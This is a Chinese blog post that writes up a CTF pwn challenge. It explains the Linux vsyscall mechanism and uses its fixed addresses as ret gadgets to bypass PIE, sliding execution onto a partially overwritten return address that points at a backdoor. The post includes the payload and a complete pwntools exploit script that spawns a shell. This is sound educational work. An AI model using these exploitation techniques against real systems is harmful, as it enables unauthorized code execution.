PWN系列-利用vsyscall滑动绕过pie

vsyscall相关知识

前置知识

什么是 vsyscall

在 Linux 操作系统中,vsyscall(Virtual System Call,虚拟系统调用)是一种特殊的机制,旨在为用户空间的应用程序提供一种快速访问特定内核功能的途径。

传统的系统调用需要从用户态切换到内核态,这涉及到保存用户态上下文、进行模式切换等一系列操作,会带来一定的开销。而 vsyscall 是通过在虚拟内存空间中映射一段特殊的区域,使得一些常用的、简单的系统调用相关功能可以直接在用户态以类似函数调用的方式快速执行,无需完整的进入内核再返回用户态的切换流程,从而提高执行效率。

vsyscall 的实现原理

内存映射

系统会将包含 vsyscall 相关代码的特定内存区域映射到用户空间的固定地址范围(例如在 x86 架构下通常是 0xffffffffff600000 附近)。这个映射的区域里存放着实现那些常用系统调用功能的精简代码,应用程序可以像调用普通函数一样访问这些代码所在的地址来获取对应的系统服务,比如获取时间等简单操作。

功能提供

它主要提供少量最常用且执行逻辑相对简单的系统调用功能,例如 gettimeofday() 用于获取当前时间(精确到微秒级别)、time() 获取从某个固定时间点开始到现在的秒数等。因为这些功能被应用程序频繁使用,如果每次都走常规的系统调用流程开销较大,vsyscall 机制很好地优化了这一点。

vsyscall 的优点

性能提升

由于避免了完整的用户态到内核态切换开销,对于那些频繁调用相关简单系统功能的应用程序来说,可以显著提高执行效率,减少执行时间,特别是在对时间精度获取等频繁操作的场景下,这种性能优势体现得较为明显。

编程便利性

从程序员的角度来看,在代码中调用 vsyscall 提供的功能和调用普通函数并没有太大差异,使得编写代码时能方便地获取一些常用内核服务,无需过多关注底层复杂的系统调用实现机制以及模式切换等细节。

vsyscall 的局限性

功能有限

它只能提供非常有限的几种系统调用功能,无法满足应用程序所有系统调用的需求。对于复杂的、涉及大量内核资源交互或者内核状态变更的系统调用,还是得通过常规的系统调用方式进入内核来执行。

安全隐患

随着安全研究的深入,vsyscall 机制也暴露出一些安全问题。比如攻击者有可能利用其固定的内存映射地址等特点,通过一些恶意手段来篡改或利用这段代码执行非预期的操作,进而影响系统安全,这也促使后续有了一些替代机制的出现来弥补这些安全漏洞。


具体分析

我们可以在gdb中看一眼

image-20241118220046811

可以看到,虽然开启了pie,但是这块地址并不会被随机化。

我电脑并没有读权限,这里直接拿别人的图看一下。

image-20241118220410374

可以看到有三个系统调用

#define __NR_gettimeofday 96 //0x60
#define __NR_time 201 //0xc9
#define __NR_getcpu 309 //0x135

  1. gettimeofday系统调用(__NR_gettimeofday

    • gettimeofday系统调用用于获取当前时间。它可以精确到微秒级别。这个系统调用会返回从 1970 年 1 月 1 日 00:00:00 UTC 时间到当前时刻所经过的时间。

    • 调用gettimeofday时,通常需要传递一个struct timeval结构体的指针。这个结构体包含两个成员:tv_sec(秒数)和tv_usec(微秒数)。通过这个系统调用,程序可以获取当前的精确时间信息,这在很多场景下非常有用,比如计时、时间戳记录、性能测试等。

    • 通常它接受两个参数:struct timeval *tv(用于存储获取到的时间值)和struct timezone *tz(用于存储时区信息,不过在很多现代实现中,tz参数通常被忽略,因为时区信息可以通过其他方式获取)。

    • 成功调用时,返回值为 0;如果出现错误,返回 - 1,并设置errno来指示错误类型。

  2. time系统调用(__NR_time

    • time系统调用用于获取从 1970 年 1 月 1 日 00:00:00 UTC 时间到当前时刻所经过的秒数。它比gettimeofday简单,只返回秒数,不包含微秒级别的精度。

    • 这个系统调用通常用于获取当前时间的粗略值,在一些对时间精度要求不高的场景下使用,比如记录文件的创建时间、简单的时间间隔计算等。

    • 参数和返回值

    • 它接受一个参数time_t *tloc,这是一个指向time_t类型变量的指针。如果tloc不为NULL,则当前时间值会存储在*tloc中。

    • 函数返回值是从 1970 年 1 月 1 日 00:00:00 UTC 到当前时刻的秒数。如果tlocNULL,则返回值就是这个时间值;如果tloc不为NULL,则返回值和*tloc的值相同。

  3. getcpu系统调用(__NR_getcpu

    • getcpu系统调用用于获取当前运行的 CPU 的相关信息,包括 CPU 的 ID 和节点 ID(在多核、多节点系统中很有用)。

    • 在多核处理器系统中,不同的 CPU 核心可能有不同的负载和性能特性。通过getcpu系统调用,程序可以确定当前线程或进程正在哪个 CPU 核心上运行,这对于优化线程调度、资源分配以及性能分析非常有帮助。

    • 它接受三个参数:unsigned *cpu(用于存储 CPU 核心 ID)、unsigned *node(用于存储节点 ID,在非 NUMA 系统中通常为 0)和struct getcpu_cache *tcache(这是一个可选的缓存参数,用于提高多次调用getcpu的效率)。

    • 成功调用时,返回值为 0;如果出现错误,返回 - 1,并设置errno来指示错误类型。

他和我们做pwn题目有什么关系呢?

比如我们需要ret指令,但是又不知道ret指令地址,就可以用vsyscall来进行调整栈帧。

vsyscall有三个地址可用,分别是0xFFFFFFFFFF600000、0xFFFFFFFFFF600400、0xFFFFFFFFFF600800,只能是这三个地址,因为调用的时候会检测是否是从函数开头跳转的,其它地址会报错。

题目实战

DSBCTF中pwn分类的checkin,我们先来看一下保护:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

可以看到保护全部开启了,ida看看main函数

image-20241118221321770

题目让我们往buf中读取数据,然后jmp到rax进行执行

image-20241118221447497

根据汇编,其实会跳到buf+0x40处

image-20241118221607695

题目给了后门函数

image-20241118221721039

如果题目没有开启PIE,那么我们就可以将0x7fffffffdd60处写成后门函数的地址,就可以任意代码执行了,但是开启了PIE,并不知道程序的具体地址。

这个时候vsyscall就派上用场了,因为页对齐的原因,地址的后三位是固定的,后门函数的后三位是a2a,所以只要覆盖到距离rsp偏移0xd8处,就可以让程序滑到后门函数。

image-20241118222530431

所以,我最开始写的payload是这样的

payload = b'a'*0x40+p64(vsyscall)*0x13+b'\x2A'

怎么也打不通,后来一步一步跟,才发现问题。

题目jmp到rax处,执行vsyscall处的系统调用并不会影响什么,相当于执行了一个ret,ret其实还是根据rsp寻址的,ret相当于pop rip;jmp rip而此时的rsp处是aaaaaaaa,程序会终止。

所以我们的payload只能写成

payload = p64(vsyscall)*0x1b+b'\x2A'

rsp就覆盖成vsyscall,让他一路滑到残留在栈上面的程序地址,同时我们也将该地址修改成了后门地址,这样这道题就做出来了,贴一下完整的exp

from pwn import *

p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./pwn')

vsyscall = 0xFFFFFFFFFF600000
payload = p64(vsyscall)*0x1b+b'\x2A'
p.sendafter(b'me!',payload)
p.sendafter(b"wtf?",b"/bin/sh")
p.interactive()
posted @   山西小嫦娥  阅读(67)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示